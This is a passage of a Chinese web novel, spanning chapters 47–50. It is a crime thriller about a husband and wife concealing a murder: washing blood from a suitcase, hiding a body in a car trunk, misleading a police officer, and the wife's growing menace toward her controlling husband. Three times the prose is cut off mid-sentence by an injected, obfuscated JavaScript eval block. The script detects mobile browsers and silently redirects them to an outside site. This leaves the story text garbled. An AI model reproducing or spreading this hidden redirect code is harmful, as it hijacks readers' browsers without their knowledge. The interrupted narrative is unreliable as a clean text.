他首先往放着行李箱的浴缸中灌满滚烫的开水,等温度下降后,再将水全部放掉。接着,他光着全身踏入浴缸清洗箱子,以防血迹再次溅上衣裤。 劲猛的水流冲击下,从行李箱上流出的血迹由淡红到无色。 直到冲不出血迹了,他从开始用自制清洁剂搓洗行李箱上的每一寸角落。 初步清洁之后,季琪琨将行李箱上可拆卸的地方都拆了下来,尤其是滚轮中的尘土和可能出现的血迹。接着是酒精再次擦拭箱体,冲洗后继续用漂白剂擦拭。 虽然不一定会到提取证物这一步,但他必须要先做好应对的准备。 后备箱里的尸体也必须尽快转移。 在难言的焦灼中,季琪琨迎来了天明。 六点,他假装一如往常的样子,穿上速干运动套装出门跑步。七点的时候,他在门口遇到了身穿警服,正在敲门的张开阳。 “这是……”他佯装一无所知的样子,露出诧异的神情。 “我是大山关派出所的民警张开阳。我有一些问题,希望你和魏芷配合调查。”张开阳亮出警察证,“家里没人吗?” 季琪琨往他身后望了一眼,没有发现其他人。 来的人比他想象中更少,或许这是件好事,说明警方并没有将他们列为重点嫌疑人。 “哦,我妻子还在睡觉,她昨晚吃了安眠药,可能没听见门铃的声音。”季琪琨微笑着解释道,打开了门扉,大方地邀请张开阳入内。 “请进吧,我去叫我妻子起来。” 每个第一次进入季琪琨家中的人,都会被墙上的许多镜面装饰给吸引目光。 季琪琨主动解释道:“镜子能加深纵深,看上去屋子会更宽敞。” 张开阳没有回应。 季琪琨安排他在客厅坐下,然后走入卧室,轻轻带上房门,又特意留了一道缝隙,好叫门外的张开阳听见他和魏芷的对话。 他推醒了魏芷,捂住她的嘴唇,对着那双似醒未醒的眼睛,笑着说道: “老婆,快醒醒。警察上门了,说是有事情要问我。” “我也不清楚,等你起来了再问吧。” “快点啊,把衣服穿好就出来。” 等到那双眼睛恢复清明,他才收回了右手,装若寻常地走出卧室——这回关上了门。 “不好意思啊,请稍等一下,我妻子换好衣服就出来。”他坐到张开阳对面的沙发上,不解地问道,“这次登门,是魏来找到了吗?” “……等你妻子到场再说吧。”张开阳说。 “行,那就等我妻子来了再说吧。”季琪琨笑道。 十分钟后,穿着浅蓝色衬衫和宽松牛仔裤的魏芷坐到了季琪琨身边。 “街对面水站发生的事情,你们清楚吗?”张开阳率先发问。 “听说了,但不清楚。”季琪琨说。 “你呢?”张开阳目不转睛地看着魏芷。 “我也听说了。”魏芷说,“街坊邻居都说,里面发生了命案——谁死了?” “你觉得是谁死了?”张开阳反问。 魏芷笑了:“不是谭孟彦就是翁秀越吧,因为我只在那间水站里见过他们两个。如果是其他人,张警官今日就不会登门拜访了。” “你承认在那间水站见过他们两人?” “当然,早在昨天,我就把一切都告诉过你了。”魏芷坦然说道,“回来之后,我觉得愧对我的老公,把我之前被翁秀越一时蛊惑的事情也告诉他了。他原谅了我。” 她握住了季琪琨的手,而后者也紧紧把她握住。 “是的,我承认从前做过一些错事,也不怪小芷被别人蛊惑。”季琪琨温文儒雅地一笑,“今后我会用自己的行动,让小芷更加信任我。” 张开阳不是来这里听夫妻恩爱的,他眉头微皱,继续说道: “昨天下午四点到八点,你们在做什么,有没有人可以证明?” “这个时间段我在公司开会,大概六点过,我们部门外出聚餐。很多同事都可以证明。”季琪琨说。 张开阳的目光落到魏芷身上,从始至终,他锁定的人只有一个。 “四点左右……”魏芷回忆着,“那时候,我在鑫记超市。我在开车回来的路上,就打算好了要在晚上把一切都告诉我老公。买好东西后大概四点半,我去了附近的社区公园,找了个偏僻无人的长椅,坐着思考晚上要怎么和我老公沟通。大概七点半,我返回了家中。超市里的监控应该拍到了我,但公园的时候就不知道了,那家公园看上去就挺破的。” “你在鑫记超市买什么?”尽管已经知道答案,但张开阳还是问道。 “买了个30寸的大行李箱。”魏芷不以为然道。 “买这么大的行李箱做什么?” “在听信翁秀越的谗言之后,我没有十足的把握让我老公原谅我,买个行李箱,也好让自己搬行李的时候不至于太狼狈。” “行李箱呢?” “买回来就洗了,还在阳台上晾着。” “洗箱子做什么?刚买回来就脏了吗?”张开阳尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841183|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锐道。 魏芷闻言笑了,不慌不忙地说:“警官,不讲究的当然可以不洗。但我不喜欢这样,放衣物的东西还是洗干净的好。” “能看看这个箱子吗?”张开阳步步紧逼。 “当然。”魏芷笑道。 张开阳来到阳台,看见了那个正在晾晒中的30寸大行李箱。从体积来看,足以放下蜷缩起来的翁秀越。 箱子洗得很干净,但要检测血迹,必须要将箱子带回刑侦大队。 而以目前的证据,并不足以说服上层开出搜查证。 张开阳只能用手电当场检查了一番。 箱子很干净,过于干净了。就像是预知到他的行为,而预先严格清洗过一样。 他当然什么都没能找到。 张开阳直起身的时候,眼前是微笑的季琪琨,他闲适的神情,就仿佛一切都在预料之中。而他身旁的魏芷,依然是安静的模样,似乎只是盛大舞台剧上一个低调的配角。 但张开阳知道,她才是舞台落幕时真正的主角。 检查完行李箱后,张开阳提出了看看其他房间。 “可以,随便看吧。但是我上班要迟到了,只能让我老婆带你看。”季琪琨看了眼手腕上的机械表,“我能去上班吗?张警官。” 张开阳没有权力现在扣留季琪琨,他点了点头,于是季琪琨脸上再次露出微笑。 “老婆,有什么事随时联系我。” 魏芷朝他点了点头——乖巧温顺的。 季琪琨走出家门,笑容在脸上消失。 十五分钟后,看完家里所有房间的张开阳,提出了要看地库里的车。 魏芷配合地带他来到地库。 电子卷帘门升起后,宽阔的地库里只有一辆黑色添越看着两人。 张开阳想起了上次魏芷在派出所门前开走的那辆奔驰。 “还有一辆奔驰怎么不在?”他问。 “我老公开去上班了。”魏芷说,“家里两辆车,我们总是换着开。” 张开阳看着那张坦然无畏的脸,斟酌片刻后,说: “打开这辆车的锁。” 魏芷打开车锁,张开阳相继查看了后备箱和车厢内的座椅。 没有异常。 在来的路上,他就已经猜到了这一点。 张开阳的电话适时响了起来,他从车辆和魏芷身边走开,走到她听不见谈话的地方,才谨慎地接起了同事的电话。 魏芷倚靠在黑色添越上,神情散漫地注视着不远处打电话的张开阳。 她并不好奇电话里在说什么,因为没有人比她更清楚水站里的来龙去脉。 大约五分钟后,张开阳挂断电话,重新走回魏芷面前。 “张警官,还有什么事吗?”她笑道,“没有的话,我要回去补觉了。昨天吃了安眠药,现在还没睡醒呢。” 张开阳看着魏芷平静的双眼,露出了复杂的神色。他有很多想说的话,但在那双眼睛面前,他知道说什么都是白费力气。 “与怪物战斗的人,要小心自己不要成为怪物。”他一字一顿道,“永远,不要忘记这句话。” 48.第 48 章 “小季总,这是需要您签字的文件。” “……小季总?” 季琪琨猛然回过神来,从唐秘书手中接过悬停已久的文件,粗看了一眼,就签上了自己的大名。 唐秘书拿着文件走出他的办公室,并轻轻关上门后,他的眉头再次皱了起来。 季琪琨拿起手机看了一眼,没有魏芷的任何消息。 张开阳还在家里吗?他有没有注意到地库里消失的另一辆车?魏芷会不会嘴笨说漏什么?张开阳会不会已经起疑? 他站了起来,在宽阔的办公室里像无头苍蝇般来回踱步。 家里的情况,以及此刻停在公司地下车库里的黑色奔驰。更确切一点,是黑色奔驰后备箱里的尸体,让他心神不宁,内心焦灼。 从他帮助魏芷清洗血迹起,一切就都回不了头了。 好不容易熬到下班的时间,他谢绝了所有应酬,第一时间赶到地下车库。 下班时间的地下车库,车来车往,人声嘈杂。季琪琨的黑色奔驰旁正好停着总集团行政部经理的车,肥头大肚的中年男人看见季琪琨,停下刚要坐进驾驶席的动作,热情地与他打起了招呼。 “小季总,真巧!原来这是你的车啊!怎么没开平时那辆?” 无论是说洗车还是保养,都会在后续警方查证时留下漏洞,所以季琪琨似是而非地笑道: “偶尔换个口味。” “刚刚我还在说呢,这辆车改得真好看啊,瞧这轮毂都是定制的,除了我们公司的小季总,我真想不到谁还会有这样的品味——” 男经理一边说着,一边绕着后备箱走了一圈。 “小季总,你这后备箱挺大的,能装不少吧?我最近也想换车了,就想换辆后备箱大点的,好出门钓鱼的时候放渔具——当然,小季总这辆车我是买不起的,我还打算换个便宜的日系。” 季琪琨的视线紧紧盯在他的肢体上,生怕他下一秒钟突然按下后备箱的开关。 “……还行吧,比普通轿车大一点。”他心不在焉地说。 好在男经理只是随便找了个话题恭维季琪琨,并不是真的对后备箱的容量感兴趣,他绕回季琪琨面前,讨好地笑道: “对了,小季总晚上有没有事?我们集团做商务招待的会所进新茶了,要不要去品鉴一下?” “算了。”季琪琨的手握到奔驰S弹出的门把上,笑道,“老婆在家等我。” 胖胖的男经理故意响亮地啧了两声,朝他竖起了大拇指。 “小季总真是千年不遇的好男人,要我说,谁的命都没有小季夫人的好!” 季琪琨礼貌地笑了笑。 等奔驰发动引擎,旁边的男经理才依依不舍地坐进他的银色本田。 季琪琨开回家的路上,特意留意了街对面的水站。禁止靠近的警戒线已经撤走了,但水站的卷帘门也是紧闭的,无法得知内里的情景。 通过血迹对比,警方应该已经知道死者是谁,接下来寻找尸体就是重中之重。无论是从他和翁秀越的恩怨来看,还是从命案发生时的地理位置来看,他都应该是重点怀疑对象。 今天早上,孤身前来的张开阳却打破了他的预测。 是警方认为他们缺乏杀人可能,还是说,警方已经掌握到什么证据,在暗中监视他们,正等着他们自己露出马脚? 季琪琨在自家车库里停好车,头也不回地锁车走向电梯。 他必须表现得一切如常,表现得好像不知道后备箱里藏有一具尸体一样,因为他的一切行动,可能早已暴露在监视之中。 打开黑檀色的家门后,家中空无一人。 一股焦躁再次涌上季琪琨的心头,他无法想象,在这种时候,魏芷不在家里好好呆着,跑去了什么地方? 他拿出手机查看魏芷此刻的定位,怎么也没想到,她竟然就在水站门前。 他不明白,她为何如此愚蠢,为何在关键时刻总是犯下低级错误。难道她不知道,一个不小心,就会将他们一起推向深渊吗? 季琪琨闭上眼睛,努力压抑着心中的怒火。他告诉自己,必须冷静,必须找到解决的办法。 他拨通了魏芷的电话,在难熬的十多秒等待时间后,电话终于被接起。 “老婆,你在哪儿呢?”季琪琨担心她身边有警察,通话被窃听,装作平常的样子问道。 “我在水站门口——”她说,“我刚从超市买了菜出来,路过这里就来看看,这里警戒线都撤了,不过周围的的居民也都不知道发生了什么事。” 季琪琨怕她在电话说些什么不该说的,连忙说道:“我已经到家了,你赶快回来吧。” 十五分钟后,提着一袋子菜的魏芷推开了家门。 她一边换鞋,一边对季琪琨说:“我今天买了甲鱼,晚上你想煮汤还是红烧?” “你过来,我有话对你说。” 魏芷把超市购物袋放到餐桌上,走向客厅沙发上的季琪琨。 “怎么了……” 季琪琨从沙发上猛地站起身来,用力将魏芷往沙发上一推! 魏芷毫无防备的身体猛然向后仰去,如同一片被暴风雨席卷的落叶,重重地倒在了沙发上。那股突如其来的冲力让沙发也向后挪去,在地板上发出刺耳的摩擦声。 “你知不知道,你莽撞的行为会让警方盯上我们?”季琪琨从牙齿里咬出声音。 魏芷倒在沙发上,散落的黑发遮住了她的面庞。过了半晌,她才慢慢抬起头来,黝黑的眼眸僵直地盯着上方的季琪琨。 “老公,你在说什么?”她慢慢站了起来,刻意地拉近了和季琪琨之间的距离,“我们家附近死了人,虽然不知道死的是谁,但可能死的两个人,都是我从前的同事。我肯定想去打听看看,想知道死的到底是谁啊。” “难道你不想知道死的到底是谁吗?那两人都是你曾经的员工啊,更别说,有一个还和你有仇怨。如果死的是她就好了——难道正常人不该这么想吗?” 季琪琨的眉头紧锁,眼中的怒火却在魏芷的话音落下后逐渐消退。他盯着魏芷那张略显苍白的脸庞,看着她刻意拉近的距离和那双带着些许无辜与困惑的眼睛,忽然意识到她才是更杰出的演员。 她的行为在凶手身上是反逻辑的,在普通人身上,却又是合乎逻辑的。 他太紧张了,乱了分寸——翁秀越死的太匆忙,太出乎意料,而魏芷的杀人手法又过于简单粗暴,他根本没有做好准备。 他不能再这样下去了,一定要找回他真正的状态。只有这样,他才能再一次地逢凶化吉,逍遥法外。 “老公……”魏芷的低声呼喊打断了他的思考,他回过神来,发现魏芷看着他的眼神里露着埋怨。 “对不起,老婆,是我刚刚太着急了。”他的笑容中带着一丝牵强,试图牵起魏芷的手,“老公也是担心你出事啊。” “真的吗?” “当然是真的啊——” “那你要怎么证明?” 季琪琨的表情被这熟悉的话语凝固,还没等他反应过来,那双漆黑的眼眸已经如深不见底的黑洞,将他整个注意力都吞噬进去。 魏芷捧住他的脸——她刚从室外回来的手,冷得如同停尸间的金属台面,那种冰冷不是来自外界的温度,而是直接穿透肌肤,触及灵魂深处的寒意。她的手轻柔但不容拒绝地捧着他的两颊,将他禁锢在自己的视线之内,黑得没有一丝杂质的瞳孔,冰冷地注视着他。 “你刚刚推了我,我很难过。”她的声音低沉而平稳,每一个字都像是从冰层下传来,“你真的爱我吗?还是你只是在利用我,去杀掉你讨厌的人?” 魏芷的每一个音节都像是冰冷的刀刃,季琪琨本能想躲开她冰冷的触碰和目光,但僵硬的身体却一动不动。 他必须安抚住她。 “我爱你这件事还需要证明吗?我身边的每个人都知道我有多爱你,你是我心中的唯一。你这样说,让我觉得很失败,好像我对你的好都被你无视了一样。”季琪琨说。 往常这个时候,魏芷就会停止质疑,转过头来安慰他,给出肯定的支持,但这一次,她的脸上没有丝毫动容。 “是吗?”魏芷说,“那你给唐秘书打个电话,就说你要休假在家陪我。” “为什么突然休假?公司里的事情没有忙完,警察也可能盯着我们,这时候休假,太引人怀疑了。”季琪琨强笑道。 “我太累了,这段时间我的精神一直紧绷着,我需要你留在家里陪我。”魏芷说,“如果你答应我,今天晚上我就把车开出去,把后备箱里的东西埋了。” 季琪琨的耳朵立即竖了起来:“你打算埋哪儿?” “……我可以告诉你,那是我找了一个星期才找到的地方,但你确定要知道?”魏芷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849569|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问。 季琪琨迟疑了。 关于尸体的事情,他知道的越少越好,一时冲动亲自动手清洗血迹,已经让他处于不利位置,如果再沾上抛尸,那就跳进黄河也洗不清了。 “算了,我相信你,老婆。” “那你休假在家陪我吗?”魏芷执着地追问。 为了让她尽快处理后备箱的尸体,季琪琨不得不答应她的要求。 “今晚先不要去,再等等看,等水站的警员完全撤去,再开车出城比较保险。”他说。 “我都听你的。”魏芷说,“你什么时候给唐秘书打电话?” 此时,季琪琨仍没有真正了解魏芷的意图。 直到她明确地提出,需要他在电话里对唐秘书说明,是他主动想要休假陪她,而不是在她的软磨硬泡下,才被迫休假陪她。 “这有区别吗?”他强挂的笑容也快维持不住。 “是啊,没有区别。”魏芷抱住他的一只手臂,亲昵地对他笑道,“所以,快打电话吧——” 在那双带着笑意,却不知何时就会转为冰冷的眼眸监视下,季琪琨被迫拨通了唐秘书的电话。 “喂,小季总?”唐秘书甜美的声音从扩音器里传出。 “……是我,前段时间工作太忙,我过几天打算休假,在家里好好陪陪老婆。公司里的事麻烦你帮我处理一下。” “我明白了,小季总打算什么时候去?” “下周吧。” 唐秘书的声音变得惊讶起来:“下周?可是下周已经安排了好几个会议,都是小季总您之前批的时间,大季总那边也通知了,各部门经理也都协调好了……” 季琪琨祈求地看了眼魏芷,没有从她脸上找到通融的痕迹。 “你代我参加吧,把会议纪要之后传给我。”他抑压着对魏芷的恼怒,低声说道。 “这……我知道了。”唐秘书苦笑着说。 挂断电话后,他冷冷地看着魏芷。 “现在你满意了?” 魏芷的眼睛微微眯起,露出难以捉摸的笑容。这种笑容不是出于恶意,但带着明显的愉悦,像是一个知道自己占了上风的孩子,开心地注视着对手的困惑与不安。 “确认老公还爱着我,我有什么不满意的呢?” 她乖巧的面容和甜蜜的声音,只让季琪琨感到遍体生寒。 从她的脸上,他看不到任何杀人后的后怕。 曾经,季琪琨限制她的社交,逼她与家人断绝关系,从职场离职,为的就是将她陷于无依无靠的境地,那时的他怎么也想不到,她的一无所有,在某一天会成为压迫他的优势。 他的筹码太多太重,反而成为桎梏他的镣铐。 他有声望,有财富,有年轻和健康,距离将资产数十亿的上市公司收入囊中只剩下最后一步,他不甘心因为魏芷的一次冲动,沦为茶余饭后的闲谈。 而魏芷,什么都没有,也就什么都不怕。 在悄然无息中,强弱之势已经易位。 魏芷提起餐桌上的购物袋,一如寻常地走向厨房中岛。 “老公,你到底是想吃甲鱼汤还是烧甲鱼?”她若无其事地说,露着温顺如羔羊的神情。 但他再也不会将她视作羔羊了。 季琪琨注视着她的目光带着几分冰冷,又隐含着一丝忌惮。 接下来的三天,水站都有警察出入。 除了张开阳上门问询的那一日,季琪琨开出了黑色奔驰,之后的两天时间,后备箱紧闭的奔驰都始终停在地库里。 他越是控制自己不要去想,脑海中就越是会浮现出正在腐烂的翁秀越的身影。 那些保鲜膜和活性炭,真的能够封住尸体腐臭的气味吗? 每天上班时,他都会在地库中难以控制地深呼吸一口气,检查空气中是否有腐烂的味道。 第四天,警察终于完全撤离了水站。 季琪琨故意留在公司加班,试图与抛尸事件划清界限。他对魏芷的信任已经动摇,无法预料她接下来会做什么。他屡次查看手机,每次听到唐秘书推门而入的声音,都让他心跳加速,以为是警察找上门来。 如果时间能倒流,他绝不会亲手清洗箱子上的血迹,也不会请求魏芷除掉翁秀越;更早一些,他甚至不会选择魏芷作为祭品。 人生三十年来,季琪琨首次感到深深的后悔。 49.第 49 章 那天深夜之后,后备箱里的尸体消失了。 在初步清完掉后备箱里可能的血迹和指纹后,奔驰也被送去了洗车店精洗。 太阳照旧升起,电视上没有相关的报道,小区外的街道上也再也看不到警察,季琪琨心中的不安逐渐被松懈取代。 找不到尸体,也没有证据显示犯罪事实存在,警方无法立案,就只能以失踪事件来调查。 一切似乎都在向着他理想的方向进行。 除了魏芷。 那间他一点一点设计出来的家,是他可以毫无防备的大本营,那里藏有他最深的秘密。现在,“回家”对他而言,变成了世界上最危险的战场。 只因为家中多了一个人。 那张脸依旧温顺无害,但一切都随着翁秀越的死亡,被彻底改变了。 这是季琪琨和魏芷约定休假之前的最后一个工作日,一想到之后要和魏芷在那个家中独处三日,他就感到烦躁不安。 而现在,他最后的自由时间也进入了倒数。 “老公,你在干什么?” “老公,你在开会吗?” “老公,再忙也要跟我回条消息呀。” “老公,你为什么不回我消息,你不爱我了吗?” 季琪琨的手机在办公桌上不断震动,只要是他没有在五分钟内回复魏芷的消息,他的手机就会像地震那样震个不停。 他用力闭上眼睛,试图用沉默抵御这看不见的领域侵犯。然而,短暂的平静之后,更长、更急促的蜂鸣声从放手机的地方响起—— 是魏芷的电话。 一门之隔,他能隐约听见外间秘书办公室里有节奏的敲击键盘的声音,而门后的总经理办公室,却只有不断追击的蜂鸣声音。 季琪琨低下头,十根手指深深插进头发里,双臂仿佛在抵挡某种追击,要将自己与外界隔绝。他透过狭窄的视野,一动不动地盯着桌上震动的手机,在自动挂断后的短暂寂静中,仅仅过了三秒,手机再次疯狂地震动起来。 他的喉咙里传出一声模糊的呻吟。 半晌后,他深吸一口气,试图平复自己的呼吸,强迫自己朝震动不停的手机伸出手—— 在他的五指碰到手机之前,就像一根绷到极致的弦突然断掉一样,手机也毫无征兆地安静了。 房间突然安静下来,仿佛所有声音都被吞没在这片死寂之中。 是她终于放弃了?还是又想了什么新招来折磨他? 季琪琨心不在焉地在办公室呆到下午六点,唐秘书敲响了门,小心翼翼地走了进来。 “小季总,需要订工作晚餐吗?” 季琪琨不想回家面对那张令他心悸的脸,想也不想道: “订一份。对了,你不用陪我加班,做完手里的工作就回去吧。” “好,那我订两份,让餐厅现在送来。” 季琪琨叫住正要关门的唐秘书: “订一份工作餐就可以了,你正常下班。” “可是……”唐秘书露出惊讶的表情,“小季夫人不用订餐吗?” “……什么?” “小季夫人在外间等您很久了,她怕打扰小季总工作,就让我不要告诉您。”唐秘书说。 寒意从脚下悄然攀升,如同冰冷的锁链逐渐缠绕上季琪琨的身躯。 他难以置信地挪动脚步,缓缓来到办公室门前,唐秘书从门前让开,露出了外间秘书室的等待区。一条墨绿色的绒布长沙发上,魏芷端正而安静地坐着,双手交叠在膝上。他们的视线在干燥的空气中交汇,仿佛有电流在啪啦流窜。 他的目光唤醒了那张平静而温顺的面庞,她站起身来,平静的嘴角开始向上飞扬。 “老公,你忙完工作了?” “……是啊。”他艰难地从喉咙里挤出声音,“你怎么来了?” “我先去给二位订工作餐。”唐秘书为了腾出他们的私人空间,轻柔地插话道,“小季夫人,您有什么忌口吗?” “不用了,我们去外面吃。”魏芷笑着说。 唐秘书下意识看向季琪琨。 “老公,可以吗?” 魏芷故作温柔的声音,在季琪琨耳中却充满威压。 “……好啊。”他强装常态,随意地对唐秘书道,“那就不用订了,你早点下班吧。” 唐秘书从善如流。 十分钟后,季琪琨和魏芷分别坐上了添越的正副驾。季琪琨心不在焉地系着安全带,随口问道:“去哪儿吃饭?” “回家吃。”魏芷露出了神秘的微笑,“我准备了你一定会喜欢的晚餐。” 她甜蜜的笑容,让他喉咙不自觉地一阵发紧。 平日里熟悉的路程,忽然之间好像缩短了距离。在他仍未做好心理准备的时候,车就已经开进了自家的车库。 下车的时候,季琪琨忍不住又看了一眼旁边洗得锃亮的黑色奔驰。 即便反复确认过里面没有尸体了,但每次路过,他还是会忍不住朝它投去怀疑的目光,仿佛那是一个无底的黑洞,正拉着他往冰冷的黑洞中心坠去。 从地库里乘电梯入户,银色的电梯门开启后,季琪琨第一时间想到是他那不见天日的暗房。 他的家,他曾经熟悉的家,变得陌生而可怖。所有落地窗都被厚重的窗帘所遮蔽,踏入家,就是踏入伸手不见五指的黑暗。 他下意识去摸墙上的开关,却被一只冰凉的手拉住。 “先别开灯。”魏芷柔声说,“换上鞋跟我来。” 结着电梯里的灯光,季琪琨换上了居家拖鞋,然后被魏芷拉着,跌跌撞撞地往黑暗里走去。 她走得毫不犹豫,他走得迟迟疑疑。 这已经不是他的家。不再是了。 她突然停下脚步,松开了他的手。季琪琨往四周摸索着,从熟悉的触感上判断他们来到了餐桌面前。紧接着,一道幽幽的烛光照亮了他们的面庞。 魏芷拿着打火机,相继点燃了餐桌上的两根红烛。 昏黄的火苗在蜡烛上被扭曲拉长,她的笑容也在这样的烛光照射下更加诡异。 鲜红的唇,森白的牙,脸上的无数绒毛,在烛光下像是磷火那样散发出微弱的光泽。 “这是你休假之后我们的第一顿晚餐,”她微微歪头,柔声道,“我想准备得浪漫一点。不过,你一直联系不上,我只能把下锅的时间推迟。你先坐下稍等一下,很快就可以吃了。” “……好。” 魏芷朝他笑了笑,转身去了厨房中岛。中岛的灯光随之亮起,成为整间大平层里除蜡烛以外的唯一光源。 她穿上围裙,将早已准备好的备菜依次下锅。菜刀与菜板发出响亮的剁肉声,夹杂着她那没有歌词、不成调的哼唱,仿佛是从喉咙深处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849570|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤出的低沉呜咽。 愉悦的曲子如同无重量的雾气,在昏暗的房间中缭绕。 “老婆,能不能把窗帘拉开?屋里太暗了,我都看不清你的脸。”季琪琨试探地说道。 她不以为意地说: “等我坐到你对面,你就看得清了。” “……先拉开一会吧,等你来了我再关上。” 季琪琨一边说着,一边从椅子上起身,朝窗边走了过去。 也就是这一刻,哼唱突然消失了。接着是刺耳的一声巨响,从季琪琨身后传来。 他愕然转身,刚刚还握在魏芷手中的菜刀,已经深深地砍进了菜板里,那块菜板上的牛排,被一刀劈成了两半。 “为什么一定要拉开窗帘?拉开之后还有气氛吗?” 她面无表情地看着他,就连质问也是平静的,仿佛内心也和她的外表一样平静。但那把足以砍断筒骨的菜刀,却被她的五根手指紧紧攥着。 “你不喜欢我为你准备的惊喜吗?”她继续以陈述的语气提着疑问,声音中的寒意也越来越刺骨,“为了这顿烛光晚餐,我从早上就在准备。我想问问你晚上想吃什么,但你一直没有接我的电话。为什么呢?为什么不接我的电话?我真的很不愿意相信……老公,你不会是在躲我吧?” 她一步一步朝季琪琨慢慢走了过来,那把有血的菜刀被她提在手中,血液顺着重力流淌到了刀尖,随时都可能落下。 “老公,你不可能躲我吧?” 她已经走到了他的面前,而他的后背撞上冰冷的玻璃,才反应过来自己已经被逼至无路可退。 “你在说什么呢?我怎么可能躲你啊。我只是想拉开窗帘,好看清你的样子而已。如果你不想拉开就算了……” “你还没回答我的问题呢。”魏芷目不转睛地看着他的眼睛,柔声说,“老公,你不可能躲我吧?” “我……” “我可是为你不辞辛苦杀了一个人,还一个人把她搬到山上埋下,你以为这些事情都很轻松吗?”她的声音打断了他的,她的嘴角向上勾起,似乎组成了一个笑容,但她的双眼和声音却又充满了冷血的愤怒,“我为你付出了我的全部啊,你不可能躲我吧?” 所有的话语都在季琪琨的喉咙里消失,在那张似笑似怒的面庞面前,他只能说出她预先为他设置的台词。 “我当然不可能躲你啊,你为我做了这么多,我只会更爱你。” “真的吗,老公?”魏芷的声音稍微缓和,眼神仍怀疑地紧锁着他,“你不会骗我吧?我最讨厌别人骗我,特别被我最爱的人。如果你骗我,我不知道我会做出什么……” “真的,你是我唯一的老婆,我不爱你又能爱谁呢?” 季琪琨慢慢握住了她拿刀的那只手,试着想要从她手中拿走。 魏芷盯着他,片刻后,那双眼睛中的森冷转为毫无铺垫的笑意。 “那就好,刚刚真是吓死我了。我还以为老公不喜欢这样的惊喜呢!” 她转身走回中岛,手中还握着那把菜刀。接着若无其事地继续烹饪起了晚餐,愉悦的哼唱再次飘荡起来。 从四面八方的镜面装饰里,他看到了无数个原地僵直的自己。那张本该无论何时都游刃有余的面庞,错误地显露着慌张和后怕。 他再一次确认—— 这不是他的家,是他的地狱。 50.第 50 章 季琪琨知道魏芷一直有服用安眠药入睡的习惯。 等到她均匀的呼吸声从枕边响起后,他悄悄翻身下床,来到了主卧里的浴室。 他用力握住门后的反锁旋钮,像在拖拽一个沉重的卡车,缓缓地转动旋钮。锁舌弹出,没有发出丝毫声音。 灯的开关就在墙上,他视若无睹,坐到了马桶盖上,掏出攥在手里的手机,切换小号后,打开了“海豚之家”聊天群。 他无意参与群中幼稚可笑的聊天,只是来回不断地刷新着聊天记录,借此重新取回自己的冷静。 魏芷取代了翁秀越,成为了生长在他眼中的恶性肿瘤。这颗肿瘤比翁秀越更大,更恶劣,更顽强,想要切割掉这颗肿瘤,要花费之前十倍的努力。 他一定能想到完美的谢幕办法。 季琪琨退出了小号,将手机息屏后,浴室被完全的黑暗所笼罩。他把背抵在冰冷坚硬的水箱上,水箱盖的地方因为碰撞发出了一声微小的咔嚓声。 这声微小的声响掐住了他的呼吸,他屏息凝神,目不转睛地注视着黑暗中房门的方向。 门外若有若无的呼吸声似乎停止了。 漫长的二十秒后,没有任何事情发生。 季琪琨呼出一口浊气,站了起来刚想往外走,忽然停下脚步,回头看向马桶的水箱。 幽暗之中,隐约折射出惨白光芒的水箱似乎有着某种魔力,使他向着水箱的盖子伸出了手。 “老公,你在洗手间?” 突然响起的敲门声让季琪琨打了个冷颤,手指下意识地按向了冲水。哗啦啦水声响起后,他装作刚上完厕所的样子,打开房门走了出去。 “是啊,你怎么也醒了?” “我好像听到了什么声音。” 魏芷雪色的面庞在白蕾丝睡裙的映衬下显得更没有血色,她的目光从他身后一扫而过,似乎在判断他说的话有几分真假。 “你不在旁边,我睡不着。”她轻轻环住了他的腰,语气里似有幽怨,季琪琨却从她的眼眸中看不到丝毫爱意。 那双让他本能想要回避的眼眸,更像是深夜的丛林里发出幽幽绿光的眸子。 从她身上,他看不到丝毫当初吸引他坠入爱河的样子。 安慰的话语熟练地脱口而出,他一边用温柔的语气说着那些陈词滥调,一边将她送回床上,迫不及待地松开她冰凉的手。 重新躺回床上后,他又一次和魏芷互道晚安。 在晚安之后,面对面侧躺的两人先后闭上双眼,又过了半晌,季琪琨从黑夜中睁开了眼。 他冷冰冰地注视着触手可及的那张面庞,同时也在内心下定了某种决心。 …… 清晨六点,季琪琨的闹钟准时响起。 虽然今天不用上班,但他还是关掉闹钟起床,按往常的生活习惯,换上运动套装出门跑步。 七点,他回到家,冲了个凉水澡。为仍在睡梦之中的魏芷准备了丰富的早餐。 等到现磨咖啡的香气和多士炉刚刚出炉面包片的甜蜜馥郁充满空气,季琪琨才打开卧室房门,温柔唤醒了床上的魏芷。 他的态度宛如热恋初期,魏芷迷蒙的视线在他脸上停留了许久,似乎在辨认他是否是她熟悉的那个人。 